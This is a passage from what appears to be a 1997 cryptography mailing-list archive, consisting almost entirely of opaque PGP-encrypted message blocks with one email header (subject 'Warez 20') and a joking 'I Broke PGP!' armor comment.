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
5Gb2MDHVe0N6qivxj167Htex2wUlIghciMY=
=m/u+
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:01:08 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:01:08 +0800
Subject: Warez 20
Message-ID: <199712180854.AAA16418@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7CB4x+GIm+aeDFd3ugaLJnSEa2PcnGj2ma7/W9NPYxrsGXNi
SY66tJxh/RrfDFhgWOeCWF10/QngoeyoA8DfDiCvJuYCte4o3lusTV6pRxm4L1zM
cIK8v4QDVivrR7TU79erY5UKKxywZ4qWi4hg0ed8UKohPJms2nuDuZsMVUdKi1lH
Y3e29E+zeNbQOeYaWlLBmCJMi9i5ST1HD2aHB2fnSTpYBaNBrPC+5s6XKzLqQB2U
H4oeAFveYVCXWjjSwEvdP8dI/55G4ppNRoyw63Itv1HivpYpDhUdkL9VnU7+0oZM
R730H/JoiZDJpK4c4nMT0zRlaVBRT95wIHftyvLndwuscDgxJ1qET5rg8MrFF4Xj
8UV34cs6x9gETIVGBqnGyAMMvz0DSAVR3RzDBeod8qgp0KsHOP1v9++lLIoT6Kkj
jls8XVCcf4aD++fs9KbupfkZR3+YTiaaQeP8ig9Vif0S45p/OcD2mhdJuSiUmr/P
DZfyqdzTZgbKCS2YBop1eVzU65aFmEvTjxI7EXXeXFlubvhJxtFvAlwNjWIAKcTv
RqMyPlH671V3d+88wCy16FaxTPb8ZTK/sbmDDT2B+nyo61+g8R478UanummVNJCs
92dx8fTyrWnaPpNeaPUrDGysr5oh1BV3kRg/0p+fmwbQN2g6d+jHNo/wZsxBSUoA
Ccqj92AFaIeCaLWnTZjGVTT4BLYm9HxVEj2pTShy+fPQ+DNxL1kJV8yJ9xDGGRTQ
cY9pqBbCkI5hh3J81zu2w4DBTl7PPAuAmkvZD4bq0CHif5yTNiVYFgY+1EqwD1XM
